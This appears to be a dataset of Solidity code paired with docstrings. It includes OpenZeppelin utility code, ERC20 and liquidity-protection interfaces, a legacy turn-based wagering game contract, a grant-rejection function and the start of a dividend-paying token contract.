* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.12 <=0.8.9;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "./IClaimable.sol";
/// @title Mintable Token interface
interface IMintableToken is IERC20, IClaimable {
function issue(address to, uint256 amount) external;
function destroy(address from, uint256 amount) external;
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.12 <=0.8.9;
/// @title Claimable contract interface
interface IClaimable {
function owner() external view returns (address);
function transferOwnership(address newOwner) external;
function acceptOwnership() external;
}
// SPDX-License-Identifier: SEE LICENSE IN LICENSE
pragma solidity 0.6.12;
import "./interfaces/IOwned.sol";
/**
* @dev This contract provides support and utilities for contract ownership.
*/
contract Owned is IOwned {
address private _owner;
address private _newOwner;
/**
* @dev triggered when the owner is updated
*/
event OwnerUpdate(address indexed prevOwner, address indexed newOwner);
/**
* @dev initializes a new Owned instance
*/
constructor() public {
_owner = msg.sender;
}
// allows execution by the owner only
modifier ownerOnly {
_ownerOnly();
_;
}
// error message binary size optimization
function _ownerOnly() private view {
require(msg.sender == _owner, "ERR_ACCESS_DENIED");
}
/**
* @dev allows transferring the contract ownership
*
* Requirements:
*
* - the caller must be the owner of the contract
*
* note the new owner still needs to accept the transfer
*/
function transferOwnership(address newOwner) public override ownerOnly {
require(newOwner != _owner, "ERR_SAME_OWNER");
_newOwner = newOwner;
}
/**
* @dev used by a new owner to accept an ownership transfer
*/
function acceptOwnership() public override {
require(msg.sender == _newOwner, "ERR_ACCESS_DENIED");
emit OwnerUpdate(_owner, _newOwner);
_owner = _newOwner;
_newOwner = address(0);
}
/**
* @dev returns the address of the current owner
*/
function owner() public view override returns (address) {
return _owner;
}
/**
* @dev returns the address of the new owner candidate
*/
function newOwner() external view returns (address) {
return _newOwner;
}
}
// SPDX-License-Identifier: SEE LICENSE IN LICENSE
pragma solidity 0.6.12;
/**
* @dev Contract Registry interface
*/
interface IContractRegistry {
function addressOf(bytes32 contractName) external view returns (address);
}
// SPDX-License-Identifier: SEE LICENSE IN LICENSE
pragma solidity 0.6.12;
/**
* @dev Owned interface
*/
interface IOwned {
function owner() external view returns (address);
function transferOwnership(address newOwner) external;
function acceptOwnership() external;
}
// SPDX-License-Identifier: SEE LICENSE IN LICENSE
pragma solidity 0.6.12;
/**
* @dev This contract is used to represent reserve tokens, which are tokens that can either be regular ERC20 tokens or
* native ETH (represented by the NATIVE_TOKEN_ADDRESS address)
*
* Please note that this interface is intentionally doesn't inherit from IERC20, so that it'd be possible to effectively
* override its balanceOf() function in the ReserveToken library
*/
interface IReserveToken {
}
// SPDX-License-Identifier: SEE LICENSE IN LICENSE
pragma solidity 0.6.12;
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
/**
* @dev Extends the SafeERC20 library with additional operations
*/
library SafeERC20Ex {
using SafeERC20 for IERC20;
/**
* @dev ensures that the spender has sufficient allowance
*/
function ensureApprove(
IERC20 token,
address spender,
uint256 amount
) internal {
if (amount == 0) {
return;
}
uint256 allowance = token.allowance(address(this), spender);
if (allowance >= amount) {
return;
}
if (allowance > 0) {
token.safeApprove(spender, 0);
}
token.safeApprove(spender, amount);
}
}
// SPDX-License-Identifier: SEE LICENSE IN LICENSE
pragma solidity 0.6.12;
import "../../converter/interfaces/IConverterAnchor.sol";
import "../../token/interfaces/IDSToken.sol";
import "../../token/interfaces/IReserveToken.sol";
import "../../utility/interfaces/IOwned.sol";
/**
* @dev Liquidity Protection Store interface
*/
interface ILiquidityProtectionStore is IOwned {
function withdrawTokens(
IReserveToken token,
address recipient,
uint256 amount
) external;
function protectedLiquidity(uint256 id)
external
view
returns (
address,
IDSToken,
IReserveToken,
uint256,
uint256,
uint256,
uint256,
uint256
);
function addProtectedLiquidity(
address provider,
IDSToken poolToken,
IReserveToken reserveToken,
uint256 poolAmount,
uint256 reserveAmount,
uint256 reserveRateN,
uint256 reserveRateD,
uint256 timestamp
) external returns (uint256);
function updateProtectedLiquidityAmounts(
uint256 id,
uint256 poolNewAmount,
uint256 reserveNewAmount
) external;
function removeProtectedLiquidity(uint256 id) external;
function lockedBalance(address provider, uint256 index) external view returns (uint256, uint256);
function lockedBalanceRange(
address provider,
uint256 startIndex,
uint256 endIndex
) external view returns (uint256[] memory, uint256[] memory);
function addLockedBalance(
address provider,
uint256 reserveAmount,
uint256 expirationTime
) external returns (uint256);
function removeLockedBalance(address provider, uint256 index) external;
function systemBalance(IReserveToken poolToken) external view returns (uint256);
function incSystemBalance(IReserveToken poolToken, uint256 poolAmount) external;
function decSystemBalance(IReserveToken poolToken, uint256 poolAmount) external;
}
// SPDX-License-Identifier: SEE LICENSE IN LICENSE
pragma solidity 0.6.12;
import "../../converter/interfaces/IConverterAnchor.sol";
import "../../token/interfaces/IDSToken.sol";
import "../../token/interfaces/IReserveToken.sol";
/**
* @dev Liquidity Protection Stats interface
*/
interface ILiquidityProtectionStats {
function increaseTotalAmounts(
address provider,
IDSToken poolToken,
IReserveToken reserveToken,
uint256 poolAmount,
uint256 reserveAmount
) external;
function decreaseTotalAmounts(
address provider,
IDSToken poolToken,
IReserveToken reserveToken,
uint256 poolAmount,
uint256 reserveAmount
) external;
function addProviderPool(address provider, IDSToken poolToken) external returns (bool);
function removeProviderPool(address provider, IDSToken poolToken) external returns (bool);
function totalPoolAmount(IDSToken poolToken) external view returns (uint256);
function totalReserveAmount(IDSToken poolToken, IReserveToken reserveToken) external view returns (uint256);
function totalProviderAmount(
address provider,
IDSToken poolToken,
IReserveToken reserveToken
) external view returns (uint256);
function providerPools(address provider) external view returns (IDSToken[] memory);
}
// SPDX-License-Identifier: SEE LICENSE IN LICENSE
pragma solidity 0.6.12;
import "../../converter/interfaces/IConverterAnchor.sol";
import "../../token/interfaces/IReserveToken.sol";
import "./ILiquidityProvisionEventsSubscriber.sol";
/**
* @dev Liquidity Protection Settings interface
*/
interface ILiquidityProtectionSettings {
function isPoolWhitelisted(IConverterAnchor poolAnchor) external view returns (bool);
function poolWhitelist() external view returns (address[] memory);
function subscribers() external view returns (address[] memory);
function isPoolSupported(IConverterAnchor poolAnchor) external view returns (bool);
function minNetworkTokenLiquidityForMinting() external view returns (uint256);
function defaultNetworkTokenMintingLimit() external view returns (uint256);
function networkTokenMintingLimits(IConverterAnchor poolAnchor) external view returns (uint256);
function addLiquidityDisabled(IConverterAnchor poolAnchor, IReserveToken reserveToken) external view returns (bool);
function minProtectionDelay() external view returns (uint256);
function maxProtectionDelay() external view returns (uint256);
function minNetworkCompensation() external view returns (uint256);
function lockDuration() external view returns (uint256);
function averageRateMaxDeviation() external view returns (uint32);
}
// SPDX-License-Identifier: SEE LICENSE IN LICENSE
pragma solidity 0.6.12;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "../../converter/interfaces/IConverterAnchor.sol";
/**
* @dev Liquidity Protection System Store interface
*/
interface ILiquidityProtectionSystemStore {
function systemBalance(IERC20 poolToken) external view returns (uint256);
function incSystemBalance(IERC20 poolToken, uint256 poolAmount) external;
function decSystemBalance(IERC20 poolToken, uint256 poolAmount) external;
function networkTokensMinted(IConverterAnchor poolAnchor) external view returns (uint256);
function incNetworkTokensMinted(IConverterAnchor poolAnchor, uint256 amount) external;
function decNetworkTokensMinted(IConverterAnchor poolAnchor, uint256 amount) external;
}
// SPDX-License-Identifier: SEE LICENSE IN LICENSE
pragma solidity 0.6.12;
/**
* @dev Transfer position event callback interface
*/
interface ITransferPositionCallback {
function onTransferPosition(
uint256 newId,
address provider,
bytes calldata data
) external;
}
// SPDX-License-Identifier: SEE LICENSE IN LICENSE
pragma solidity 0.6.12;
import "../../token/interfaces/IReserveToken.sol";
import "./IOwned.sol";
/**
* @dev Token Holder interface
*/
interface ITokenHolder is IOwned {
receive() external payable;
function withdrawTokens(
IReserveToken reserveToken,
address payable to,
uint256 amount
) external;
function withdrawTokensMultiple(
IReserveToken[] calldata reserveTokens,
address payable to,
uint256[] calldata amounts
) external;
}
// SPDX-License-Identifier: SEE LICENSE IN LICENSE
pragma solidity 0.6.12;
import "../../utility/interfaces/IOwned.sol";
/**
* @dev Converter Anchor interface
*/
interface IConverterAnchor is IOwned {
}
// SPDX-License-Identifier: SEE LICENSE IN LICENSE
pragma solidity 0.6.12;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "../../converter/interfaces/IConverterAnchor.sol";
import "../../utility/interfaces/IOwned.sol";
/**
* @dev DSToken interface
*/
interface IDSToken is IConverterAnchor, IERC20 {
function issue(address recipient, uint256 amount) external;
function destroy(address recipient, uint256 amount) external;
}
// SPDX-License-Identifier: SEE LICENSE IN LICENSE
pragma solidity 0.6.12;
import "../../converter/interfaces/IConverterAnchor.sol";
import "../../token/interfaces/IReserveToken.sol";
/**
* @dev Liquidity provision events subscriber interface
*/
interface ILiquidityProvisionEventsSubscriber {
function onAddingLiquidity(
address provider,
IConverterAnchor poolAnchor,
IReserveToken reserveToken,
uint256 poolAmount,
uint256 reserveAmount
) external;
function onRemovingLiquidity(
uint256 id,
address provider,
IConverterAnchor poolAnchor,
IReserveToken reserveToken,
uint256 poolAmount,
uint256 reserveAmount
) external;
}
// SPDX-License-Identifier: SEE LICENSE IN LICENSE
pragma solidity 0.6.12;
import "../../token/interfaces/IReserveToken.sol";
import "../../token/interfaces/IDSToken.sol";
struct PoolProgram {
uint256 startTime;
uint256 endTime;
uint256 rewardRate;
IReserveToken[2] reserveTokens;
uint32[2] rewardShares;
}
struct PoolRewards {
uint256 lastUpdateTime;
uint256 rewardPerToken;
uint256 totalClaimedRewards;
}
struct ProviderRewards {
uint256 rewardPerToken;
uint256 pendingBaseRewards;
uint256 totalClaimedRewards;
uint256 effectiveStakingTime;
uint256 baseRewardsDebt;
uint32 baseRewardsDebtMultiplier;
}
interface IStakingRewardsStore {
function isPoolParticipating(IDSToken poolToken) external view returns (bool);
function isReserveParticipating(IDSToken poolToken, IReserveToken reserveToken) external view returns (bool);
function addPoolProgram(
IDSToken poolToken,
IReserveToken[2] calldata reserveTokens,
uint32[2] calldata rewardShares,
uint256 endTime,
uint256 rewardRate
) external;
function removePoolProgram(IDSToken poolToken) external;
function setPoolProgramEndTime(IDSToken poolToken, uint256 newEndTime) external;
function poolProgram(IDSToken poolToken)
external
view
returns (
uint256,
uint256,
uint256,
IReserveToken[2] memory,
uint32[2] memory
);
function poolPrograms()
external
view
returns (
IDSToken[] memory,
uint256[] memory,
uint256[] memory,
uint256[] memory,
IReserveToken[2][] memory,
uint32[2][] memory
);
function poolRewards(IDSToken poolToken, IReserveToken reserveToken)
external
view
returns (
uint256,
uint256,
uint256
);
function updatePoolRewardsData(
IDSToken poolToken,
IReserveToken reserveToken,
uint256 lastUpdateTime,
uint256 rewardPerToken,
uint256 totalClaimedRewards
) external;
function providerRewards(
address provider,
IDSToken poolToken,
IReserveToken reserveToken
)
external
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint32
);
function updateProviderRewardsData(
address provider,
IDSToken poolToken,
IReserveToken reserveToken,
uint256 rewardPerToken,
uint256 pendingBaseRewards,
uint256 totalClaimedRewards,
uint256 effectiveStakingTime,
uint256 baseRewardsDebt,
uint32 baseRewardsDebtMultiplier
) external;
function updateProviderLastClaimTime(address provider) external;
function providerLastClaimTime(address provider) external view returns (uint256);
}
|
returns specific provider's pending rewards for all participating pools/
|
function _pendingRewards(address provider, ILiquidityProtectionStats lpStats) private view returns (uint256) {
return _pendingRewards(provider, lpStats.providerPools(provider), lpStats);
}
| 7,268,335 |
contract TurnBasedGame {
bool debug; // If contract is deployed in debug mode, some debug features are enabled
modifier debugOnly {
if (!debug)
throw;
_
}
event GameEnded(bytes32 indexed gameId);
event GameClosed(bytes32 indexed gameId, address indexed player);
event GameTimeoutStarted(bytes32 indexed gameId, uint timeoutStarted, int8 timeoutState);
// GameDrawOfferRejected: notification that a draw of the currently turning player
// is rejected by the waiting player
event GameDrawOfferRejected(bytes32 indexed gameId);
event DebugInts(string message, uint value1, uint value2, uint value3);
struct Game {
address player1;
address player2;
string player1Alias;
string player2Alias;
address nextPlayer;
address winner;
bool ended;
uint pot; // What this game is worth: ether paid into the game
uint player1Winnings;
uint player2Winnings;
uint turnTime; // in minutes
uint timeoutStarted; // timer for timeout
/*
* -2 draw offered by nextPlayer
* -1 draw offered by waiting player
* 0 nothing
* 1 checkmate
* 2 timeout
*/
int8 timeoutState;
}
mapping (bytes32 => Game) public games;
// stack of open game ids
mapping (bytes32 => bytes32) public openGameIds;
bytes32 public head;
// stack of games of players
mapping (address => mapping (bytes32 => bytes32)) public gamesOfPlayers;
mapping (address => bytes32) public gamesOfPlayersHeads;
function getGamesOfPlayer(address player) constant returns (bytes32[]) {
var playerHead = gamesOfPlayersHeads[player];
var counter = 0;
for (var ga = playerHead; ga != 0; ga = gamesOfPlayers[player][ga]) {
counter++;
}
bytes32[] memory data = new bytes32[](counter);
var currentGame = playerHead;
for (var i = 0; i < counter; i++) {
data[i] = currentGame;
currentGame = gamesOfPlayers[player][currentGame];
}
return data;
}
function getOpenGameIds() constant returns (bytes32[]) {
var counter = 0;
for (var ga = head; ga != 'end'; ga = openGameIds[ga]) {
counter++;
}
bytes32[] memory data = new bytes32[](counter);
var currentGame = head;
for (var i = 0; i < counter; i++) {
data[i] = currentGame;
currentGame = openGameIds[currentGame];
}
return data;
}
// closes a game that is not currently running
function closePlayerGame(bytes32 gameId) public {
var game = games[gameId];
// game already started and not finished yet
if (!(game.player2 == 0 || game.ended))
throw;
if (msg.sender != game.player1 && msg.sender != game.player2)
throw;
if (!game.ended)
games[gameId].ended = true;
if (game.player2 == 0) {
// Remove from openGameIds
if (head == gameId) {
head = openGameIds[head];
openGameIds[gameId] = 0;
} else {
for (var g = head; g != 'end' && openGameIds[g] != 'end'; g = openGameIds[g]) {
if (openGameIds[g] == gameId) {
openGameIds[g] = openGameIds[gameId];
openGameIds[gameId] = 0;
break;
}
}
}
games[gameId].player1Winnings = games[gameId].pot;
games[gameId].pot = 0;
}
// Remove from gamesOfPlayers
var playerHead = gamesOfPlayersHeads[msg.sender];
if (playerHead == gameId) {
gamesOfPlayersHeads[msg.sender] = gamesOfPlayers[msg.sender][playerHead];
gamesOfPlayers[msg.sender][head] = 0;
} else {
for (var ga = playerHead; ga != 0 && gamesOfPlayers[msg.sender][ga] != 'end';
ga = gamesOfPlayers[msg.sender][ga]) {
if (gamesOfPlayers[msg.sender][ga] == gameId) {
gamesOfPlayers[msg.sender][ga] = gamesOfPlayers[msg.sender][gameId];
gamesOfPlayers[msg.sender][gameId] = 0;
break;
}
}
}
GameClosed(gameId, msg.sender);
}
/**
* Surrender = unilateral declaration of loss
*/
function surrender(bytes32 gameId) notEnded(gameId) public {
if (games[gameId].winner != 0) {
// Game already ended
throw;
}
if (games[gameId].player1 == msg.sender) {
// Player 1 surrendered, player 2 won
games[gameId].winner = games[gameId].player2;
games[gameId].player2Winnings = games[gameId].pot;
games[gameId].pot = 0;
} else if(games[gameId].player2 == msg.sender) {
// Player 2 surrendered, player 1 won
games[gameId].winner = games[gameId].player1;
games[gameId].player1Winnings = games[gameId].pot;
games[gameId].pot = 0;
} else {
// Sender is not a participant of this game
throw;
}
games[gameId].ended = true;
GameEnded(gameId);
}
/**
* Allows the winner of a game to withdraw their ether
* bytes32 gameId: ID of the game they have won
*/
function withdraw(bytes32 gameId) public {
uint payout = 0;
if(games[gameId].player1 == msg.sender && games[gameId].player1Winnings > 0) {
payout = games[gameId].player1Winnings;
games[gameId].player1Winnings = 0;
if (!msg.sender.send(payout)) {
throw;
}
}
else if(games[gameId].player2 == msg.sender && games[gameId].player2Winnings > 0) {
payout = games[gameId].player2Winnings;
games[gameId].player2Winnings = 0;
if (!msg.sender.send(payout)) {
throw;
}
}
else {
throw;
}
}
function isGameEnded(bytes32 gameId) public constant returns (bool) {
return games[gameId].ended;
}
modifier notEnded(bytes32 gameId) {
if (games[gameId].ended) throw;
_
}
function initGame(string player1Alias, bool playAsWhite, uint turnTime) public returns (bytes32) {
if (turnTime < 5)
throw;
// Generate game id based on player's addresses and current block number
bytes32 gameId = sha3(msg.sender, block.number);
games[gameId].ended = false;
games[gameId].turnTime = turnTime;
games[gameId].timeoutState = 0;
// Initialize participants
games[gameId].player1 = msg.sender;
games[gameId].player1Alias = player1Alias;
games[gameId].player1Winnings = 0;
games[gameId].player2Winnings = 0;
// Initialize game value
games[gameId].pot = msg.value * 2;
// Add game to gamesOfPlayers
gamesOfPlayers[msg.sender][gameId] = gamesOfPlayersHeads[msg.sender];
gamesOfPlayersHeads[msg.sender] = gameId;
// Add to openGameIds
openGameIds[gameId] = head;
head = gameId;
return gameId;
}
/**
* Join an initialized game
* bytes32 gameId: ID of the game to join
* string player2Alias: Alias of the player that is joining
*/
function joinGame(bytes32 gameId, string player2Alias) public {
// Check that this game does not have a second player yet
if (games[gameId].player2 != 0) {
throw;
}
// throw if the second player did not match the bet.
if (msg.value != games[gameId].pot) {
throw;
}
games[gameId].pot += msg.value;
games[gameId].player2 = msg.sender;
games[gameId].player2Alias = player2Alias;
// Add game to gamesOfPlayers
gamesOfPlayers[msg.sender][gameId] = gamesOfPlayersHeads[msg.sender];
gamesOfPlayersHeads[msg.sender] = gameId;
// Remove from openGameIds
if (head == gameId) {
head = openGameIds[head];
openGameIds[gameId] = 0;
} else {
for (var g = head; g != 'end' && openGameIds[g] != 'end'; g = openGameIds[g]) {
if (openGameIds[g] == gameId) {
openGameIds[g] = openGameIds[gameId];
openGameIds[gameId] = 0;
break;
}
}
}
}
/* The sender claims he has won the game. Starts a timeout. */
function claimWin(bytes32 gameId) notEnded(gameId) public {
var game = games[gameId];
// just the two players currently playing
if (msg.sender != game.player1 && msg.sender != game.player2)
throw;
// only if timeout has not started
if (game.timeoutState != 0)
throw;
// you can only claim draw / victory in the enemies turn
if (msg.sender == game.nextPlayer)
throw;
game.timeoutStarted = now;
game.timeoutState = 1;
GameTimeoutStarted(gameId, game.timeoutStarted, game.timeoutState);
}
/* The sender offers the other player a draw. Starts a timeout. */
function offerDraw(bytes32 gameId) notEnded(gameId) public {
var game = games[gameId];
// just the two players currently playing
if (msg.sender != game.player1 && msg.sender != game.player2)
throw;
// only if timeout has not started or is a draw by nextPlayer
if (game.timeoutState != 0 && game.timeoutState != 2)
throw;
// if state = timeout, timeout has to be 2*timeoutTime
if (game.timeoutState == 2 && now < game.timeoutStarted + 2 * game.turnTime * 1 minutes)
throw;
if (msg.sender == game.nextPlayer) {
game.timeoutState = -2;
} else {
game.timeoutState = -1;
}
game.timeoutStarted = now;
GameTimeoutStarted(gameId, game.timeoutStarted, game.timeoutState);
}
/*
* The sender claims that the other player is not in the game anymore.
* Starts a Timeout that can be claimed
*/
function claimTimeout(bytes32 gameId) notEnded(gameId) public {
var game = games[gameId];
// just the two players currently playing
if (msg.sender != game.player1 && msg.sender != game.player2)
throw;
// only if timeout has not started
if (game.timeoutState != 0)
throw;
// you can only claim draw / victory in the enemies turn
if (msg.sender == game.nextPlayer)
throw;
game.timeoutStarted = now;
game.timeoutState = 2;
GameTimeoutStarted(gameId, game.timeoutStarted, game.timeoutState);
}
/*
* The sender (waiting player) rejects the draw offered by the
* other (turning / current) player.
*/
function rejectCurrentPlayerDraw(bytes32 gameId) notEnded(gameId) public {
var game = games[gameId];
// just the two players currently playing
if (msg.sender != game.player1 && msg.sender != game.player2)
throw;
// only if timeout is present
if (game.timeoutState != -2)
throw;
// only not playing player is able to reject a draw offer of the nextPlayer
if (msg.sender == game.nextPlayer)
throw;
game.timeoutState = 0;
GameDrawOfferRejected(gameId);
}
/* The sender claims a previously started timeout. */
function claimTimeoutEnded(bytes32 gameId) notEnded(gameId) public {
var game = games[gameId];
// just the two players currently playing
if (msg.sender != game.player1 && msg.sender != game.player2)
throw;
if (game.timeoutState == 0 || game.timeoutState == 2)
throw;
if (now < game.timeoutStarted + game.turnTime * 1 minutes)
throw;
if (msg.sender == game.nextPlayer) {
if (game.timeoutState == -2) { // draw
game.ended = true;
games[gameId].player1Winnings = games[gameId].pot / 2;
games[gameId].player2Winnings = games[gameId].pot / 2;
games[gameId].pot = 0;
GameEnded(gameId);
} else {
throw;
}
} else {
if (game.timeoutState == -1) { // draw
game.ended = true;
games[gameId].player1Winnings = games[gameId].pot / 2;
games[gameId].player2Winnings = games[gameId].pot / 2;
games[gameId].pot = 0;
GameEnded(gameId);
} else if (game.timeoutState == 1){ // win
game.ended = true;
game.winner = msg.sender;
if(msg.sender == game.player1) {
games[gameId].player1Winnings = games[gameId].pot;
games[gameId].pot = 0;
} else {
games[gameId].player2Winnings = games[gameId].pot;
games[gameId].pot = 0;
}
GameEnded(gameId);
} else {
throw;
}
}
}
/* A timeout can be confirmed by the non-initializing player. */
function confirmGameEnded(bytes32 gameId) notEnded(gameId) public {
var game = games[gameId];
// just the two players currently playing
if (msg.sender != game.player1 && msg.sender != game.player2)
throw;
if (game.timeoutState == 0)
throw;
if (msg.sender != game.nextPlayer) {
if (game.timeoutState == -2) { // draw
game.ended = true;
games[gameId].player1Winnings = games[gameId].pot / 2;
games[gameId].player2Winnings = games[gameId].pot / 2;
games[gameId].pot = 0;
GameEnded(gameId);
} else {
throw;
}
} else {
if (game.timeoutState == -1) { // draw
game.ended = true;
games[gameId].player1Winnings = games[gameId].pot / 2;
games[gameId].player2Winnings = games[gameId].pot / 2;
games[gameId].pot = 0;
GameEnded(gameId);
} else if (game.timeoutState == 1 || game.timeoutState == 2) { // win
game.ended = true;
if(msg.sender == game.player1) {
game.winner = game.player2;
games[gameId].player2Winnings = games[gameId].pot;
games[gameId].pot = 0;
} else {
game.winner = game.player1;
games[gameId].player1Winnings = games[gameId].pot;
games[gameId].pot = 0;
}
GameEnded(gameId);
} else {
throw;
}
}
}
function TurnBasedGame(bool enableDebugging) {
debug = enableDebugging;
head = 'end';
}
}
|
Allows the winner of a game to withdraw their ether bytes32 gameId: ID of the game they have won/
|
function withdraw(bytes32 gameId) public {
uint payout = 0;
if(games[gameId].player1 == msg.sender && games[gameId].player1Winnings > 0) {
payout = games[gameId].player1Winnings;
games[gameId].player1Winnings = 0;
if (!msg.sender.send(payout)) {
throw;
}
}
else if(games[gameId].player2 == msg.sender && games[gameId].player2Winnings > 0) {
payout = games[gameId].player2Winnings;
games[gameId].player2Winnings = 0;
if (!msg.sender.send(payout)) {
throw;
}
}
else {
throw;
}
}
| 2,536,651 |
./partial_match/1/0xBFcc973A3662c91cd2C28F575Ff201927479b1D8/sources/contracts/Fund.sol
|
Rejects Grant Recommendation and emits a `GrantRejected` event. grantId UUID representing this grant/
|
function rejectGrant(string calldata grantId)
public
onlyAddressOrAdminOrRole(
manager,
fundFactoryContract.endaomentAdmin(),
IEndaomentAdmin.Role.REVIEWER
)
{
require(!isEqual(grantId, ""), "Fund: Must provide a grantId");
require(pendingGrants[grantId].recipient != address(0), "Fund: Grant does not exist.");
require(!pendingGrants[grantId].complete, "Fund: Grant is already finalized.");
delete pendingGrants[grantId];
emit GrantRejected(grantId);
}
| 2,650,346 |
// SPDX-License-Identifier: WTFPL
pragma solidity 0.8.13;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/math/SafeCast.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
/// @dev A mintable ERC20 token that allows anyone to pay and distribute ZERO
/// to token holders as dividends and allows token holders to withdraw their dividends.
/// Reference: https://github.com/Roger-Wu/erc1726-dividend-paying-token/blob/master/contracts/DividendPayingToken.sol
contract ZeroMoney is ERC20, Ownable {
using SafeCast for uint256;
using SafeCast for int256;
// For more discussion about choosing the value of `magnitude`,
// see https://github.com/ethereum/EIPs/issues/1726#issuecomment-472352728
uint256 public constant MAGNITUDE = 2**128;
uint256 public constant HALVING_PERIOD = 21 days;
uint256 public constant FINAL_ERA = 60;
address public signer;
uint256 public startedAt;
mapping(address => bool) public blacklisted;
mapping(address => bool) public claimed;
